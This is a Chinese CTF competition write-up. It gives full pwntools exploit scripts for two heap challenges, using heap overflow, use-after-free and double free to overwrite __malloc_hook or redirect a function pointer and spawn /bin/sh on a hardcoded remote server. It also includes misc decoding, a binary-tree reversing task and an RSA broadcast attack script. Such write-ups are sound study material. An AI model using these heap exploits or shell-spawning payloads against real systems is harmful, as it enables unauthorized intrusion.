PWN
云盾
题目基本信息：保护全开，ubuntu16.04上的64位PWN
radish ➜ pwn1 file pwn
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8298b1a21cb8759bd1d70177eca6907f0227b77, not stripped
radish ➜ pwn1 checksec --file pwn
[*] '/media/psf/Home/Desktop/xe7xbdx91xe9xbcx8e/pwn1/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
radish ➜ pwn1
在IDA里面分析程序流程
映入眼帘的是程序中存在使用system函数，根据交叉引用发现存在后门函数
然后给我的反应这道题十有八九是栈溢出，开始分析程序，程序流程比较复杂，main函数在IDA里转伪C如下所示：
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
int i; // [rsp+Ch] [rbp-D4h]
char *v5; // [rsp+10h] [rbp-D0h]
char *format; // [rsp+18h] [rbp-C8h]
char s; // [rsp+20h] [rbp-C0h]
char v8; // [rsp+21h] [rbp-BFh]
char v9; // [rsp+22h] [rbp-BEh]
char v10; // [rsp+23h] [rbp-BDh]
char v11; // [rsp+24h] [rbp-BCh]
char v12; // [rsp+25h] [rbp-BBh]
char v13; // [rsp+26h] [rbp-BAh]
char v14; // [rsp+27h] [rbp-B9h]
char dest; // [rsp+60h] [rbp-80h]
unsigned __int64 v16; // [rsp+C8h] [rbp-18h]
v16 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = 0LL;
setbuf(stderr, 0LL);
v5 = 0LL;
format = 0LL;
puts(" Welcome to skShell v0.0.0!");
puts("-----------------------------------------");
puts(" Protected by skYunDun v0.0.0 ");
puts("-----------------------------------------");
puts(" skYunDun -- Industry leader");
puts(" We are making this world safer than ever.");
while ( 1 )
{
do
{
while ( 1 )
{
while ( 1 )
{
do
{
while ( 1 )
{
while ( 1 )
{
printf("> ", v3);
v3 = (_BYTE *)(&dword_30 + 2);
fgets(&s, 0x32, stdin);
if ( s == 'l' && v8 == 's' )
puts("flagtpwnt1t2");
if ( s == 'c' )
break;
if ( s == 'v' )
{
if ( v8 == 'i' && v9 == 'm' )
{
puts("------skVim v0.0.0------");
if ( v10 == ' ' )
{
if ( v11 != '1' || v12 != 'n' )
{
if ( v11 != '2' || v12 != 'n' )
{
puts("[!] File not exist!");
}
else
{
format = (char *)malloc(0x30uLL);
if ( format )
{
printf("> ", 0x32LL);
v3 = format;
_isoc99_scanf("%70s", format);
puts("Done!");
}
else
{
puts("[!] Error! Bad fd detected!");
}
}
}
else
{
v5 = (char *)malloc(0x60uLL);
if ( v5 )
{
printf("> ", 0x32LL);
v3 = v5;
_isoc99_scanf("%70s", v5);
puts("Done!");
}
else
{
puts("[!] Error! Bad fd detected!");
}
}
}
else
{
puts("[!] Error! Missing an parameter!");
}
}
}
else if ( s == 'r' && v8 == 'm' && v9 == ' ' )
{
if ( v10 == '1' )
{
if ( *(v5 - 16) )
{
puts(
"---------------skYunDun v0.0.0---------------n"
"[!] Detected an heap leak!n"
"[!] Rolling back....");
v5 = 0LL;
format = 0LL;
}
else
{
free(v5);
}
}
else if ( v10 == '2' )
{
free(format);
}
}
}
if ( v8 != 'd' )
break;
if ( v9 == ' ' )
{
v3 = &v10;
strcpy(&dest, &v10);
changedir(&dest);
}
}
}
while ( v8 != 'a' || v9 != 't' || v10 != ' ' );
if ( v11 != '1' )
break;
if ( v5 )
puts(v5);
}
if ( v11 == '2' )
break;
if ( v11 != 'f' || v12 != 'l' || v13 != 'a' || v14 != 'g' )
{
if ( v11 != 'p' || v12 != 'w' || v13 != 'n' )
puts("[!] No such file!");
else
puts("[!] Cannot view a binary file!");
}
else
{
puts("[!] This file is protected by skYunDun");
}
}
}
while ( !format );
for ( i = 0; ; ++i )
{
if ( i >= strlen(format) )
goto LABEL_27;
if ( format[i] == '%' && format[i + 1] == 'n'
|| format[i] == '%' && format[i + 1] == 'h'
|| format[i] == '%' && format[i + 1] == 'x' )
{
break;
}
}
puts("---------------skYunDun v0.0.0---------------n[!] Detected an format attack!n[!] Rolling back....");
*format = 0;
LABEL_27:
printf(format, 0x32LL);
putchar(10);
}
}
审计一遍发现没有栈溢出，而是找到一处堆溢出！
该程序模拟实现了linux终端，可以执行的命令包含：
ls：输出固定格式，四个文件
if ( s == 'l' && v8 == 's' )
puts("flagtpwnt1t2");
vim：只能够修改文件名字为1和2的
修改文件1时程序申请0x30大小的堆块，然后用户输入70大小的字符串，这里存在堆溢出，修改文件2时程序申请0x60大小的堆块，然后用户还是输入70大小的字符串，这里就不存在溢出了
if ( s == 'v' )
{
if ( v8 == 'i' && v9 == 'm' )
{
puts("------skVim v0.0.0------");
if ( v10 == ' ' )
{
if ( v11 != '1' || v12 != 'n' )
{
if ( v11 != '2' || v12 != 'n' )
{
puts("[!] File not exist!");
}
else
{
format = (char *)malloc(0x30uLL);
if ( format )
{
printf("> ", 0x32LL);
v3 = format;
_isoc99_scanf("%70s", format);
puts("Done!");
}
else
{
puts("[!] Error! Bad fd detected!");
}
}
}
else
{
v5 = (char *)malloc(0x60uLL);
if ( v5 )
{
printf("> ", 0x32LL);
v3 = v5;
_isoc99_scanf("%70s", v5);
puts("Done!");
}
else
{
puts("[!] Error! Bad fd detected!");
}
}
}
cat：只能够查看文件名字为1和2的内容
if ( v11 != '1' )
break;
if ( v5 )
puts(v5);
}
if ( v11 == '2' )
break;
if ( v11 != 'f' || v12 != 'l' || v13 != 'a' || v14 != 'g' )
{
if ( v11 != 'p' || v12 != 'w' || v13 != 'n' )
puts("[!] No such file!");
else
puts("[!] Cannot view a binary file!");
}
rm:把文件1或2的堆块给free掉，这里存在UAF漏洞，但是这里存在一个堆块结构的验证，之后在构造payload的时候需要注意
else if ( s == 'r' && v8 == 'm' && v9 == ' ' )
{
if ( v10 == '1' )
{
if ( *(v5 - 16) )
{
puts(
"---------------skYunDun v0.0.0---------------n"
"[!] Detected an heap leak!n"
"[!] Rolling back....");
v5 = 0LL;
format = 0LL;
}
else
{
free(v5);
}
}
else if ( v10 == '2' )
{
free(format);
}
}
}
程序基本流程已经知道，漏洞点已经找出，存在堆溢出、UAF漏洞
攻击流程：
- 先利用溢出触发堆块可以进入
unsortbin中，从而可以在堆块中出现libc地址 - 利用
UAF来泄露出libc地址 - 利用
double free来修改__malloc_hook为one_gg - 成功
getshell
exp:
from pwn import *
# from LibcSearcher import *
context.log_level='debug'
debug = 0
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '59.110.243.101'
prot = '25413'
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru("> ")
sl("vim 2")
ru("> ")
sl("test")
ru("> > ")
sl("vim 1")
ru("> ")
sl("test")
ru("> > ")
sl("rm 2")
ru("> ")
sl("vim 2")
ru("> ")
sl("a"*0x30+p64(0)+p64(0x91))
ru("> > ")
sl("vim 2")
ru("> ")
sl(p64(0)*3+p64(0x21))
ru("> > ")
sl("rm 1")
ru("> ")
sl("cat 1")
libc_base = u64(rud("x0a")+"x00x00")-3951480
li("libc_base",libc_base)#0x7fbabada7000
system = libc_base+libc.symbols['system']
malloc_hook = libc_base + libc.symbols['__malloc_hook']-0x13
one_gg = 0xf02a4 + libc_base
ru("> ")
sl("vim 2")
ru("> ")
sl("test")
ru("> ")
sl("vim 2")
ru("> ")
sl("test")
ru("> ")
sl("vim 2")
ru("> ")
sl("test")
ru("> > ")
sl("vim 1")
ru("> ")
sl("test")
ru("> > ")
sl("rm 2")
ru("> ")
sl("rm 1")
ru("> ")
sl("vim 2")
ru("> ")
sl("a"*0x30+p64(0)+p64(0x71)+p64(malloc_hook)[:6])
ru("> > ")
sl("vim 1")
ru("> ")
sl("a"*0x30)
ru("> > ")
sl("vim 1")
ru("> ")
sl("aaa"+p64(one_gg))
ru("> ")
sl("vim 2")
ri()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
魔法学院
题目基本信息：保护只开启了NX和canary，ubuntu16.04上的64位PWN
radish ➜ pwn3 file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f5509bf1f16f14926887f9f792ac47b65fb87dff, stripped
radish ➜ pwn3 checksec --file pwn
[*] '/media/psf/Home/Desktop/xe7xbdx91xe9xbcx8e/pwn3/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
radish ➜ pwn3
在IDA里面分析程序，发现和之前做过的一个题非常的相似攻防世界-hacknote，只不过是32位变成64位程序，利用方法都是一样的
审计程序发现存在UAF漏洞
程序中的主要结构体：
struct magic{
char *put_text_fun_addr;
char *text_addr;
}
攻击流程:
- 首先申请两个text大小为0x20字节的magic
- 依此释放掉note0、note1
- 再申请一个text大小为8字节的note，此时note0的结构体就被覆盖
- leak 真实地址
- getshell
exp:
from pwn import *
import sys
context.log_level='debug'
debug = 0
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '59.110.243.101'
prot = '54621'
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
def add(chunk_size,value):
ru('Your choice :')
sl('1')
ru('magic cost ?:')
sl(str(chunk_size))
ru('name :')
sl(value)
def delete(index):
ru('Your choice :')
sl('2')
ru('index :')
sl(str(index))
def show(index):
ru('Your choice :')
sl('3')
ru('index :')
sl(str(index))
def debug():
gdb.attach(r)
raw_input()
add(0x20,"/bin/shx00")#0
add(0x20,"/bin/shx00")#1
delete(0)#0
delete(1)#1
puts_got = file.got['puts']
li("puts_got ", puts_got)
# puts_got = file.got['puts']
# li("puts_got ", puts_got)
puts = 0x400886
pay = p64(puts_got)+p64(puts)
add(0x10,pay)#2
# gdb.attach(r)
show(0)
puts_addr = u64(rud("n")+"x00x00")
li("puts_addr ", puts_addr)
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr+libc.symbols['system']
li("base_addr",base_addr)
delete(2)
pay = "/bin/shx00"+p64(system_addr)
add(0x10,pay)#2
show(0)
ri()
misc
九宫格
题目提供了576个二维码，经过测试发现扫出来的是zero和one，也就是0和1，利用工具批量扫一下，得到二进制字符串
010101010011001001000110011100110110010001000111010101100110101101011000001100010011100101101010010101000110100001111000010101110111000101001011011011010101100101010100010110100101000000110001010110000011010001000001011001100111010101000110010010100010111100110111010001100110110001110001010010010100011000110001010010110100100001010001010101000101001000110101010100110011011000110011011110100100111101101011011110010110111101011000001100110011011001101110010110100110110001100001010011110111000100110100010110000011010001101011011011000111011101010010011101110111000101100001
然后进行转16进制发现是一串已经加密后的字符串
aaa = "010101010011001001000110011100110110010001000111010101100110101101011000001100010011100101101010010101000110100001111000010101110111000101001011011011010101100101010100010110100101000000110001010110000011010001000001011001100111010101000110010010100010111100110111010001100110110001110001010010010100011000110001010010110100100001010001010101000101001000110101010100110011011000110011011110100100111101101011011110010110111101011000001100110011011001101110010110100110110001100001010011110111000100110100010110000011010001101011011011000111011101010010011101110111000101100001"
flag = ""
for x in range(0,len(aaa),8):
flag += chr(eval("0b"+aaa[x:x+8]))
# print base64.b64decode(flag)
print flag
#U2FsdGVkX19jThxWqKmYTZP1X4AfuFJ/7FlqIF1KHQTR5S63zOkyoX36nZlaOq4X4klwRwqa
然后观察题目描述：在九宫格内把1-9数字填入，使其横加竖加斜加都为15，将对角线的数字排列组合从打到小的顺序为本题的重要信息
百度一番得到: 对角线排序之后是245568,猜测这个是秘钥
8 1 6
3 5 7
4 9 2
一个一个的试就完事了，AES、DES等等，最后发现是Rabbit加密
key
题目提供了两个图片，但是第一张在mac上无法显示，在win上可以，所以认为是修改了高度，在010editor修改高度
发现多出来一串字符,提取出来
295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656
解密一番无果
然后看第二张图片，在010editor可以看出来里面含有flag.txt文件，所以猜测是压缩包
通过改后缀名字为rar即可，但是有密码
密码肯定和第一张图片中的字符串有关
最后在https://www.cnblogs.com/kagari/p/10833116.html这里看到了差分曼彻斯特编码，然后尝试解了一下，谁曾想，真的是这个加密！！！
aaa = "295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656"
enc = ""
for x in range(0,len(aaa),2):
enc+=str(bin(eval("0x"+aaa[x:x+2])))[2:].rjust(8,"0")
print enc
s = "1110100101011001011001010101011010011010010110010110011010010110100110010101101010011010101010010110100110011001011010100110101010011010011001101001100101100101011001010110100101101001100110010110100101011001011001101001010101100110101001010110010101010110100110010110011010011010101001010110010101101001011001101010010101100110101001010110011001010110"
r=""
tmp = 0
for i in xrange(len(s)/2):
c = s[i*2]
if c == s[i*2 - 1]:
r += '1'
else:
r += '0'
print hex(int(r,2))[2:-1].decode('hex')
需要注意的是，十六进制转成二进制后需要，每一个都要填充成8位长度，第一个字符的前两位需要从
00改成11（10，01，11，00）都试一遍，不进行这个操作的话，解出来的第一个字符不在ASCii范围内
radish ➜ key_123 python test.py
0010100101011001011001010101011010011010010110010110011010010110100110010101101010011010101010010110100110011001011010100110101010011010011001101001100101100101011001010110100101101001100110010110100101011001011001101001010101100110101001010110010101010110100110010110011010011010101001010110010101101001011001101010010101100110101001010110011001010110
Sakura_Love_Strawberry
radish ➜ key_123
最终解出来是Sakura_Love_Strawberry，用这个来解压刚刚的压缩包即可获取到flag
Reverse
tree
Win32 PE 逆向
放入IDA分析，main函数如下所示：
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+1Dh] [ebp-33h]
bool v5; // [esp+48h] [ebp-8h]
int v6; // [esp+4Ch] [ebp-4h]
__main();
init();
puts(aInputYourFlag);
scanf("%43s", &v4);
v6 = chkflag(&v4);
v5 = parse(root);
if ( v6 || v5 != 1 )
puts("No no no~~");
else
puts("Congratulations!");
return 0;
}
在init中初始化了全局变量root，经调试，在内存中如图所示
深颜色的就是初始化过的root，可以明显的看出来这是一组地址
然后程序让输入43位flag，进入chkflag里面第一次检查flag格式
signed int __cdecl chkflag(char *a1)
{
size_t v2; // ebx
char v3[4]; // [esp+1Dh] [ebp-3Bh]
size_t i; // [esp+48h] [ebp-10h]
int v5; // [esp+4Ch] [ebp-Ch]
strcpy(v3, "flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}");
v5 = -1;
for ( i = 0; ; ++i )
{
v2 = i;
if ( v2 >= strlen(v3) )
break;
if ( v3[i] == 'x' )
{
++v5;
switch ( a1[i] )
{
case '0':
glockflag[4 * v5] = '0';
glockflag[4 * v5 + 1] = '0';
glockflag[4 * v5 + 2] = '0';
glockflag[4 * v5 + 3] = '0';
break;
case '1':
glockflag[4 * v5] = '0';
glockflag[4 * v5 + 1] = '0';
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = '1';
break;
case '2':
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 48;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 48;
break;
case '3':
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 48;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 49;
break;
case '4':
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = 48;
break;
case '5':
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = 49;
break;
case '6':
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 48;
break;
case '7':
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 49;
break;
case '8':
glockflag[4 * v5] = 49;
glockflag[4 * v5 + 1] = 48;
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = 48;
break;
case '9':
glockflag[4 * v5] = '1';
glockflag[4 * v5 + 1] = '0';
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = 49;
break;
case 'a':
glockflag[4 * v5] = '1';
glockflag[4 * v5 + 1] = '0';
glockflag[4 * v5 + 2] = '1';
glockflag[4 * v5 + 3] = '0';
break;
case 'b':
glockflag[4 * v5] = 49;
glockflag[4 * v5 + 1] = 48;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 49;
break;
case 'c':
glockflag[4 * v5] = 49;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = 48;
break;
case 'd':
glockflag[4 * v5] = 49;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = 49;
break;
case 'e':
glockflag[4 * v5] = 49;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 48;
break;
case 'f':
glockflag[4 * v5] = 49;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 49;
break;
default:
return -1;
}
}
else if ( a1[i] != v3[i] )
{
return -1;
}
}
return 0;
}
格式限制为flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}，其中x代表字符，范围在0~f内,不同的字符定义了不同的规则，glockflag是规则所存的地址，每四个数为一组，根据我们输入的flag然后初始化glockflag全局变量
然后进入到parse函数进行第二次检查，参数为root，root此时已经初始化完毕
bool __cdecl parse(int a1)
{
char v2[60]; // [esp+18h] [ebp-50h]
int v3; // [esp+54h] [ebp-14h]
int v4; // [esp+58h] [ebp-10h]
int v5; // [esp+5Ch] [ebp-Ch]
v5 = 0;
v4 = 0;
v3 = a1;
do
{
if ( glockflag[v5] == '0' )
{
v3 = *(v3 + 0xC);
}
else if ( glockflag[v5] == '1' )
{
v3 = *(v3 + 0x10);
}
++v5;
if ( *v3 > 0x60 && *v3 <= 0x7A )
{
v2[v4++] = *v3;
v3 = a1;
}
}
while ( v5 <= 127 );
v2[v4] = 0;
return strncmp("zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx", v2, 33u) == 0;
}
每四个数一组，根据glockflag来让v3也就是root来嵌套寻找字符，如果是地址的话就继续根据规则来找，如果根据地址嵌套找到的是a b c d e f g h i j k l m n o p q r s t u v w x y,就直接复制给v2，v2到最后会和密文进行比较，也就是zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx,这些字符在一下内存保存着
以第一个字符z来具体写一下思路：
z所在的地址是0x4062d8
在全局变量root中找到这个地址在0x406464，我们知道找Z的话是通过偏移0xC或者或者0x16，所以一组地址5个4字节数据
当前的是可以看到偏移是0xc，所以对应的是0
然后接着找0x406458，存这个地址的是在0x4064e0,所在的组地址是0x4064d0,对应的偏移是0x10,所以对应的是1
接着找0x4064d0，所在的组地址是0x406518，偏移是0xc，对应的是0
接着找0x406518，所在的组地址在0x406530,偏移是0x10，对应的是1
所以如果要找到Z的话，规则应该是1010（刚刚照的倒叙），然后再看chkflag函数中定义规则，如果我们输入的字符是a的话，就会把规则初始化城1010
然后flag中的第一个x就是a了，根据以上的原则一位一位的反推就可以把flag推出来了
当然还可以用二叉树的方法来解这道题
Crypto
RUA
题目附件如下所示：文件名就是rsa
密文
8024667293310019199660855174436055144348010556139300886990767145319919733369837206849070207955417356957254331839203914525519504562595117422955140319552013305532068903324132309109484106720045613714716627620318471048195232209672212970269569790677144450501305289670783572919282909796765124242287108717189750662740283813981242918671472893126494796140877412502365037187659905034193901633516360208987731322599974612602945866477752340080783296268396044532883548423045471565356810753599618810964317690395898263698123505876052304469769153374038403491084285836952034950978098249299597775306141671935146933958644456499200221696
n
18856599160001833299560082802925753595735945621023660831294740454109973698430284916320395522883536507135735383517926050963512440162483065097256884040938259092582892259657340825971260278387406398529168309426241530551396056450450728728601248269612166083300938497235910244979946020059799495231539400114422748104072550004260736766137354572252872437140063474603268146956570787143010441293268321641092743010805639953103578977668248726500636191043930770036787317928372179939360510179438436665591755940224156131460271763912868322774604558314812111335691108887319827579162188169744014973478052491398688611046800951698773893393
密文
17388575106047489057419896548519877785989670179021521580945768965101106268068805843720622749203590810185213416901978773748832854888898576822477243682874784689127705334243899967896321836688567602323551986980634884700045627950473546069670440078998428940082620044462222475031805594211784370238038168894827559017562364252406425134530719911057780692073760058203345936344269833206906999625580911856011564697811258009937314511410514416706482571471852503756675411177080916350899445106002226392895645443215522671155311715637759618276305217468892076287376401516124640727839779731609203202530346427613422430202271506248285086956
n
21996468204721630460566169654781925102402634427772676287751800587544894952838038401189546149401344752771866376882226876072201426041697882026653772987648569053238451992877808811034545463363146057879646485465730317977739706776287970278094261290398668538232727000322458605289913900919015380904209692398479885177984131014170652915222062267448446642158394150657058846328033404309210836219241651882903083719822769947131283541299760283547938795574020478852839044803553093825730447126796668238131579735916546235889726257184058908852902241422169929720898025622336508382492878690496154797198800699611812166851455110635853297883
密文
5170826942130658374627267470548549396328896108666717036999395626588154882531377393671593939192779292151584678688653835775920356845071292462816417186595460417761844407911946323815187102170021222644920874070699813549492713967666736815947822200867353461264579419205756500926218294604616696969184793377381622818381733352202456524002876336304465082656612634304327627259494264840838687207529676882041997761204004549052900816658341867989593333356630311753611684503882509990853456022056473296726728969894815574884063807804354952314391764618179147583447848871220103094864884798102542377747761263052887894135796051521881179607
n
22182114562385985868993176463839749402849876738564142471647983947408274900941377521795379832791801082248237432130658027011388009638587979450937703029168222842849801985646044116463703409531938580410511097238939431284352109949200312466658018635489121157805030775386698514705824737070792739967925773549468095396944503293347398507980924747059180705269064441084577177316227162712249300900490014519213102070911105044792363935553422311683947941027846793608299170467483012199132849683112640658915359398437290872795783350944147546342693285520002760411554647284259473777888584007026980376463757296179071968120796742375210877789
所以很明显是rsa广播攻击,一把梭即可
exp:
# coding:utf8
from struct import pack, unpack
import zlib
import gmpy
def my_parse_number(number):
string = "%x" % number
#if len(string) != 64:
# return ""
erg = []
while string != '':
erg = erg + [chr(int(string[:2], 16))]
string = string[2:]
return ''.join(erg)
def extended_gcd(a, b):
x,y = 0, 1
lastx, lasty = 1, 0
while b:
a, (q, b) = b, divmod(a,b)
x, lastx = lastx-q*x, x
y, lasty = lasty-q*y, y
return (lastx, lasty, a)
def chinese_remainder_theorem(items):
N = 1
for a, n in items:
N *= n
result = 0
for a, n in items:
m = N/n
r, s, d = extended_gcd(n, m)
if d != 1:
N=N/n
continue
#raise "Input not pairwise co-prime"
result += a*s*m
return result % N, N
'''
c1 = m**e mod n1
c2 = m**e mod n2
c3 = m**e mod n3
... ...
'''
sessions=[{"c":8024667293310019199660855174436055144348010556139300886990767145319919733369837206849070207955417356957254331839203914525519504562595117422955140319552013305532068903324132309109484106720045613714716627620318471048195232209672212970269569790677144450501305289670783572919282909796765124242287108717189750662740283813981242918671472893126494796140877412502365037187659905034193901633516360208987731322599974612602945866477752340080783296268396044532883548423045471565356810753599618810964317690395898263698123505876052304469769153374038403491084285836952034950978098249299597775306141671935146933958644456499200221696,"e":17,"n":18856599160001833299560082802925753595735945621023660831294740454109973698430284916320395522883536507135735383517926050963512440162483065097256884040938259092582892259657340825971260278387406398529168309426241530551396056450450728728601248269612166083300938497235910244979946020059799495231539400114422748104072550004260736766137354572252872437140063474603268146956570787143010441293268321641092743010805639953103578977668248726500636191043930770036787317928372179939360510179438436665591755940224156131460271763912868322774604558314812111335691108887319827579162188169744014973478052491398688611046800951698773893393},{"c":
17388575106047489057419896548519877785989670179021521580945768965101106268068805843720622749203590810185213416901978773748832854888898576822477243682874784689127705334243899967896321836688567602323551986980634884700045627950473546069670440078998428940082620044462222475031805594211784370238038168894827559017562364252406425134530719911057780692073760058203345936344269833206906999625580911856011564697811258009937314511410514416706482571471852503756675411177080916350899445106002226392895645443215522671155311715637759618276305217468892076287376401516124640727839779731609203202530346427613422430202271506248285086956,"e":17,"n":21996468204721630460566169654781925102402634427772676287751800587544894952838038401189546149401344752771866376882226876072201426041697882026653772987648569053238451992877808811034545463363146057879646485465730317977739706776287970278094261290398668538232727000322458605289913900919015380904209692398479885177984131014170652915222062267448446642158394150657058846328033404309210836219241651882903083719822769947131283541299760283547938795574020478852839044803553093825730447126796668238131579735916546235889726257184058908852902241422169929720898025622336508382492878690496154797198800699611812166851455110635853297883},{"c":5170826942130658374627267470548549396328896108666717036999395626588154882531377393671593939192779292151584678688653835775920356845071292462816417186595460417761844407911946323815187102170021222644920874070699813549492713967666736815947822200867353461264579419205756500926218294604616696969184793377381622818381733352202456524002876336304465082656612634304327627259494264840838687207529676882041997761204004549052900816658341867989593333356630311753611684503882509990853456022056473296726728969894815574884063807804354952314391764618179147583447848871220103094864884798102542377747761263052887894135796051521881179607,"e":17,"n":22182114562385985868993176463839749402849876738564142471647983947408274900941377521795379832791801082248237432130658027011388009638587979450937703029168222842849801985646044116463703409531938580410511097238939431284352109949200312466658018635489121157805030775386698514705824737070792739967925773549468095396944503293347398507980924747059180705269064441084577177316227162712249300900490014519213102070911105044792363935553422311683947941027846793608299170467483012199132849683112640658915359398437290872795783350944147546342693285520002760411554647284259473777888584007026980376463757296179071968120796742375210877789}]
data = []
for session in sessions:
e=session['e']
n=session['n']
msg=session['c']
data += [(msg, n)]
print "Please wait, performing CRT"
x, n = chinese_remainder_theorem(data)
e=session['e']
realnum = gmpy.mpz(x).root(e)[0].digits()
print my_parse_number(int(realnum))
总结
这次比赛收获还是挺大的，继续冲冲冲！！！